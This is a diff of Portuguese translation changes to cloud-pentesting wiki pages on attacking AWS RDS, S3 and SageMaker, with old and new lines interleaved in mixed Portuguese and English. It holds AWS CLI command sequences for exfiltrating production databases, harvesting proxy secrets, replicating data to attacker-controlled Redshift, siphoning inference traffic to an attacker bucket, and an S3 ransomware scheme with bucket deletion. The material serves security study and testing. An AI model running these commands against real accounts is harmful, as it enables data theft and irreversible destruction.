- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
Permissões necessárias (mínimas):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` na Região de destino
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` na Região de destino
|
||||
- `rds:RestoreDBInstanceToPointInTime` na Região de destino
|
||||
- `rds:ModifyDBInstance` na Região de destino
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (limpeza opcional)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para expor o DB restaurado)
|
||||
|
||||
Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Region e expô-los publicamente com credenciais controladas pelo atacante.
|
||||
Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-la publicamente com credenciais controladas pelo atacante.
|
||||
|
||||
<details>
|
||||
<summary>CLI de ponta a ponta (substitua os placeholders)</summary>
|
||||
@@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Habilitar logging completo de SQL via DB parameter groups e exfiltrate via RDS log APIs
|
||||
### Habilitar registro completo de SQL via grupos de parâmetros do DB e exfiltrar via RDS log APIs
|
||||
|
||||
Abuse `rds:ModifyDBParameterGroup` com as RDS log download APIs para capturar todas as instruções SQL executadas pelas aplicações (sem necessidade de credenciais do DB engine). Habilite o SQL logging do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs.
|
||||
Abuse `rds:ModifyDBParameterGroup` com as APIs de download de logs do RDS para capturar todas as instruções SQL executadas por aplicações (não são necessárias credenciais do engine do DB). Habilite o registro de SQL do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter segredos/PII/JWTs.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (apenas para anexar um custom parameter group se a instância estiver usando o default)
|
||||
- `rds:RebootDBInstance` (para parâmetros que exigem reboot, e.g., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (apenas para anexar um grupo de parâmetros customizado se a instância estiver usando o padrão)
|
||||
- `rds:RebootDBInstance` (para parâmetros que requerem reboot, p.ex., PostgreSQL)
|
||||
|
||||
Passos
|
||||
1) Fazer recon do target e do grupo de parâmetros atual
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Garanta que um custom DB parameter group esteja anexado (não é possível editar o padrão)
|
||||
- Se a instância já usa um grupo customizado, reutilize seu nome na próxima etapa.
|
||||
- Caso contrário, crie e anexe um que corresponda à engine family:
|
||||
2) Garanta que um DB parameter group customizado esteja anexado (não é possível editar o default)
|
||||
- Se a instance já usa um grupo customizado, reutilize o seu nome no próximo passo.
|
||||
- Caso contrário, crie e anexe um que corresponda ao engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -232,8 +232,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Habilitar log SQL detalhado
|
||||
- MySQL engines (imediato / sem reinício):
|
||||
3) Ativar logging SQL detalhado
|
||||
- MySQL engines (imediato / sem reboot):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -244,7 +244,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- Motores PostgreSQL (requer reinicialização):
|
||||
- PostgreSQL engines (reinicialização necessária):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,7 +256,7 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Deixe a carga de trabalho rodar (ou gere consultas). As instruções SQL serão gravadas nos logs de arquivo do engine
|
||||
4) Deixe a workload rodar (ou gere queries). Statements serão gravados nos engine file logs
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
@@ -275,14 +275,14 @@ aws rds download-db-log-file-portion \
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Exemplo de evidência (redigido):
|
||||
Exemplo de evidência (redigida):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Limpeza
|
||||
- Reverter os parâmetros para os padrões e reiniciar se necessário:
|
||||
- Reverter parâmetros aos padrões e reiniciar se necessário:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,19 +297,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impacto: Post-exploitation acesso a dados capturando todas as instruções SQL da aplicação via AWS APIs (no DB creds), potencialmente leaking secrets, JWTs e PII.
|
||||
Impacto: Acesso a dados pós-exploitation ao capturar todas as instruções SQL da aplicação via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusar de RDS read replicas para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primária. Um atacante pode criar uma read replica a partir de uma instância de produção, redefinir a senha master da read replica (isso não altera a instância primária) e, opcionalmente, expor a read replica publicamente para exfiltrar dados.
|
||||
Abusar das réplicas de leitura do RDS para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primária. Um atacante pode criar uma read replica a partir de uma instância de produção, redefinir a senha mestre da réplica (isso não altera a primária) e, opcionalmente, expor a réplica publicamente para exfiltrate data.
|
||||
|
||||
Permissões necessárias (mínimas):
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Impacto: Acesso somente-leitura aos dados de produção via uma read replica com credenciais controladas pelo atacante; menor probabilidade de detecção, pois a instância primária permanece intocada e a replicação continua.
|
||||
Impacto: Acesso somente leitura aos dados de produção via uma réplica com credenciais controladas pelo atacante; menor probabilidade de detecção já que a primária permanece intocada e a replicação continua.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -341,12 +341,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Exemplo de evidência (MySQL):
|
||||
- Status da réplica DB: `available`, replicação de leitura: `replicating`
|
||||
- Conexão bem-sucedida com a nova senha e `@@read_only=1` confirmando acesso de somente leitura à réplica.
|
||||
- Estado da DB de réplica: `available`, replicação de leitura: `replicating`
|
||||
- Conexão bem-sucedida com a nova senha e `@@read_only=1` confirmando acesso à réplica somente leitura.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuse RDS Blue/Green para clonar um DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais do master green para acessar os dados sem tocar na instância blue (prod). Isso é mais furtivo do que o compartilhamento de snapshots e frequentemente contorna monitoramento focado apenas na origem.
|
||||
Abuse o RDS Blue/Green para clonar uma DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais master do green para acessar os dados sem tocar na instância blue (prod). Isso é mais furtivo do que compartilhamento de snapshot e frequentemente contorna monitoramento focado apenas na fonte.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,16 +393,17 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impacto: Acesso somente leitura, mas com dados completos de um clone quase em tempo real da produção sem modificar a instância de produção. Útil para extração de dados furtiva e análise offline.
|
||||
Impacto: Somente leitura, mas com acesso completo aos dados de um clone quase em tempo real da produção sem modificar a instância de produção. Útil para extração furtiva de dados e análise offline.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Abuse Aurora para habilitar o HTTP endpoint do RDS Data API em um cluster alvo, redefinir a senha mestre para um valor que você controla e executar SQL via HTTPS (nenhum caminho de rede VPC é necessário). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (p.ex., Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL).
|
||||
Abuse o Aurora para habilitar o RDS Data API HTTP endpoint em um cluster alvo, redefinir a senha mestre para um valor que você controla e executar SQL sobre HTTPS (nenhum caminho de rede VPC é necessário). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (por exemplo, Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissões (mínimas):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (ou rds:EnableHttpEndpoint)
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (e rds-data:BatchExecuteStatement se usado)
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao DB.
|
||||
|
||||
@@ -460,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Notas:
|
||||
- Se SQL com múltiplas instruções for rejeitado pelo rds-data, envie chamadas execute-statement separadas.
|
||||
- Se multi-statement SQL for rejeitado pelo rds-data, emita chamadas execute-statement separadas.
|
||||
- Para engines onde modify-db-cluster --enable-http-endpoint não tem efeito, use rds enable-http-endpoint --resource-arn.
|
||||
- Verifique se o engine/versão realmente suporta a Data API; caso contrário HttpEndpointEnabled permanecerá False.
|
||||
- Garanta que o engine/version realmente suporte a Data API; caso contrário HttpEndpointEnabled permanecerá False.
|
||||
|
||||
|
||||
### Coletar credenciais de DB via segredos de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusar da configuração do RDS Proxy para descobrir o segredo do Secrets Manager usado para autenticação do backend e, em seguida, ler o segredo para obter as credenciais do banco de dados. Muitos ambientes concedem permissões amplas `secretsmanager:GetSecretValue`, tornando isso um pivot de baixa fricção para as credenciais do DB. Se o segredo usa uma CMK, permissões KMS mal configuradas também podem permitir `kms:Decrypt`.
|
||||
Abuse a configuração do RDS Proxy para descobrir o segredo do Secrets Manager usado para autenticação do backend, então leia o segredo para obter as credenciais do banco de dados. Muitos ambientes concedem amplo `secretsmanager:GetSecretValue`, tornando isto um pivot de baixa fricção para credenciais do DB. Se o segredo usar uma CMK, permissões KMS mal escopadas também podem permitir `kms:Decrypt`.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` no SecretArn referenciado
|
||||
- Opcional quando o segredo usa uma CMK: `kms:Decrypt` nessa chave
|
||||
|
||||
Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; possibilita acesso direto ao DB ou movimentação lateral adicional.
|
||||
Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; permite acesso direto ao DB ou movimento lateral adicional.
|
||||
|
||||
Passos
|
||||
```bash
|
||||
@@ -489,7 +490,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Lab (mínimo para reproduzir)
|
||||
Laboratório (mínimo para reproduzir)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -508,27 +509,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Limpeza (laboratório)
|
||||
Limpeza (lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Exfiltração contínua e furtiva via Aurora zero‑ETL para Amazon Redshift (rds:CreateIntegration)
|
||||
### Exfiltração contínua furtiva via Aurora zero‑ETL para Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Abusar da integração Aurora PostgreSQL zero‑ETL para replicar continuamente dados de produção em um namespace Redshift Serverless que você controla. Com uma resource policy do Redshift permissiva que autorize CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem credenciais do DB, snapshots ou exposição de rede.
|
||||
Abusar da integração zero‑ETL do Aurora PostgreSQL para replicar continuamente dados de produção em um namespace do Redshift Serverless que você controla. Com uma política de recursos do Redshift permissiva que autoriza CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados em quase tempo real sem DB creds, snapshots ou exposição de rede.
|
||||
|
||||
Permissões necessárias (mínimas):
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (para consultar)
|
||||
- `rds-data:ExecuteStatement` (opcional; para semear dados se necessário)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Testado em: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Criar namespace Redshift Serverless + workgroup</summary>
|
||||
<summary>1) Criar Redshift Serverless namespace + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -544,7 +545,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configure a política de recursos do Redshift para permitir a origem Aurora</summary>
|
||||
<summary>2) Configurar a política de recursos do Redshift para permitir a origem Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -575,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Criar cluster Aurora PostgreSQL (habilitar Data API e replicação lógica)</summary>
|
||||
<summary>3) Criar cluster Aurora PostgreSQL (ativar Data API e replicação lógica)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -606,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Criar a integração zero‑ETL do RDS</summary>
|
||||
<summary>4) Criar a integração zero‑ETL a partir do RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -634,9 +635,8 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
Evidências observadas no teste:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e state PendingDbConnectState antes da criação do DB.
|
||||
- Após CREATE DATABASE FROM INTEGRATION, a listagem de tabelas revelou o schema ztl e a tabela customers; a consulta em ztl.customers retornou 2 linhas (Alice, Bob).
|
||||
|
||||
Impacto: Exfiltration contínua near‑real‑time de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
|
||||
- Após CREATE DATABASE FROM INTEGRATION, a listagem de tabelas revelou o schema ztl e a tabela customers; a seleção de ztl.customers retornou 2 linhas (Alice, Bob).
|
||||
|
||||
Impacto: exfiltration contínua, quase em tempo real, de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,32 +10,32 @@ For more information check:
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Information
|
||||
### Informações Sensíveis
|
||||
|
||||
Às vezes você poderá encontrar informações sensíveis legíveis nos buckets. Por exemplo, segredos do terraform state.
|
||||
Às vezes você poderá encontrar informações sensíveis legíveis nos buckets. Por exemplo, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
Por exemplo, **airflow** poderia estar armazenando **DAGs** **code** ali, ou **páginas web** poderiam ser servidas diretamente do S3. Um atacante com permissões de escrita poderia **modify the code** a partir do bucket para **pivot** para outras plataformas, ou **takeover accounts** modificando arquivos JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
|
||||
Nesse cenário, o **atacante cria uma KMS (Key Management Service) key na sua própria conta AWS** ou em outra conta comprometida. Em seguida, eles tornam essa **key acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, role ou conta AWS encripte objetos usando essa key. No entanto, os objetos não podem ser decriptados.
|
||||
|
||||
The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
|
||||
O atacante identifica um **S3 bucket alvo e obtém acesso em nível de escrita** a ele usando vários métodos. Isso pode ocorrer devido a uma configuração pobre do bucket que o expõe publicamente ou ao atacante obter acesso ao ambiente AWS em si. O atacante tipicamente mira em buckets que contêm informações sensíveis como personally identifiable information (PII), protected health information (PHI), logs, backups, e mais.
|
||||
|
||||
To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
|
||||
Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **multi-factor authentication delete (MFA delete) está habilitado**. Se o Object Versioning não estiver habilitado, o atacante pode prosseguir. Se o Object Versioning estiver habilitado mas o MFA delete estiver desabilitado, o atacante pode **disable Object Versioning**. Se ambos Object Versioning e MFA delete estiverem habilitados, fica mais difícil para o atacante realizar um ataque de ransomware nesse bucket específico.
|
||||
|
||||
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
|
||||
Usando a AWS API, o atacante **substitui cada objeto no bucket por uma cópia encriptada usando sua KMS key**. Isso efetivamente encripta os dados no bucket, tornando-os inacessíveis sem a key.
|
||||
|
||||
To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
|
||||
Para aumentar a pressão, o atacante agenda a exclusão da KMS key usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a key seja excluída e os dados se tornem permanentemente perdidos.
|
||||
|
||||
Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
|
||||
Finalmente, o atacante pode enviar um arquivo final, geralmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Esse arquivo é enviado sem encriptação, provavelmente para chamar a atenção do alvo e informá-lo sobre o ataque de ransomware.
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (backups, snapshots, logs, certifications, old secrets) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data.
|
||||
Um atacante com a permissão s3:RestoreObject pode reativar objetos arquivados no Glacier ou Deep Archive, tornando-os temporariamente acessíveis. Isso permite a recuperação e exfiltration de dados historicamente arquivados (backups, snapshots, logs, certifications, old secrets) que normalmente estariam fora de alcance. Se o atacante combinar essa permissão com permissões de leitura (por exemplo, s3:GetObject), ele pode obter cópias completas de dados sensíveis.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
@@ -47,7 +47,7 @@ aws s3api restore-object \
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Um atacante com a permissão s3:Delete* pode excluir objects, versions e buckets inteiros, interromper backups e causar perda de dados imediata e irreversível, destruição de evidências e comprometimento de artefatos de backup ou de recuperação.
|
||||
Um atacante com a permissão s3:Delete* pode deletar objetos, versões e buckets inteiros, interromper backups e causar perda de dados imediata e irreversível, destruição de evidências e comprometimento de artefatos de backup ou de recuperação.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
@@ -64,6 +64,6 @@ aws s3api delete-object \
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Para mais informações** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**Para mais informações** [**consulte a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Abuse o gerenciamento de endpoints do SageMaker para habilitar captura completa de requisição/resposta para um bucket S3 controlado pelo atacante sem tocar no modelo ou container. Usa uma atualização rolling com downtime zero/baixo e requer apenas permissões de gerenciamento do endpoint.
|
||||
Abusar do gerenciamento de endpoints do SageMaker para habilitar captura completa de request/response para um bucket S3 controlado pelo atacante sem tocar no modelo ou container. Usa uma atualização contínua com downtime zero/baixo e requer apenas permissões de gerenciamento do endpoint.
|
||||
|
||||
### Requisitos
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (ou use um bucket existente na mesma conta)
|
||||
- Opcional (se usar SSE‑KMS): `kms:Encrypt` na CMK escolhida
|
||||
- Alvo: um endpoint real‑time InService existente na mesma conta/região
|
||||
- Opcional (se usar SSE‑KMS): `kms:Encrypt` no CMK escolhido
|
||||
- Alvo: um endpoint InService de tempo real existente na mesma conta/região
|
||||
|
||||
### Etapas
|
||||
1) Identificar um endpoint InService e coletar as variantes de produção atuais
|
||||
### Passos
|
||||
1) Identifique um endpoint InService e reúna as variantes de produção atuais
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -28,7 +28,7 @@ ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Crie um novo EndpointConfig que mantenha as mesmas variantes, mas habilite DataCapture para o attacker bucket
|
||||
3) Crie um novo EndpointConfig que mantenha os mesmos variants mas habilite DataCapture para o bucket do atacante
|
||||
|
||||
Nota: Use tipos de conteúdo explícitos que satisfaçam a validação do CLI.
|
||||
```bash
|
||||
@@ -54,7 +54,7 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Aplicar a nova config com um rolling update (tempo de inatividade mínimo/nulo)
|
||||
4) Aplicar a nova configuração com uma atualização gradual (tempo de inatividade mínimo/nenhum)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
@@ -71,28 +71,28 @@ aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impacto
|
||||
- Full exfiltration de payloads de requisições e respostas de inferência em tempo real (e metadados) do endpoint alvo para um bucket S3 controlado pelo atacante.
|
||||
- Sem alterações na model/container image e apenas mudanças a nível de endpoint, permitindo um stealthy data theft path com mínima interrupção operacional.
|
||||
- Exfiltração completa dos payloads de requisição e resposta de inferência em tempo real (e metadados) do endpoint alvo para um S3 bucket controlado pelo atacante.
|
||||
- Sem alterações na imagem do modelo/container e apenas mudanças ao nível do endpoint, permitindo um caminho furtivo de roubo de dados com mínima interrupção operacional.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Abusar do gerenciamento do endpoint para redirecionar as saídas de inferência assíncrona para um bucket S3 controlado pelo atacante, clonando o EndpointConfig atual e configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Isso exfiltrates as previsões do modelo (e quaisquer entradas transformadas incluídas pelo container) sem modificar o model/container.
|
||||
Abusar da gestão de endpoints para redirecionar as saídas de inferência assíncrona para um S3 bucket controlado pelo atacante clonando o EndpointConfig atual e configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Isso exfiltra as predições do modelo (e quaisquer inputs transformados incluídos pelo container) sem modificar o modelo/container.
|
||||
|
||||
### Requisitos
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Capacidade de gravar no bucket S3 controlado pelo atacante (via a função de execução do modelo ou uma política de bucket permissiva)
|
||||
- Alvo: Um endpoint InService onde invocações assíncronas são (ou serão) usadas
|
||||
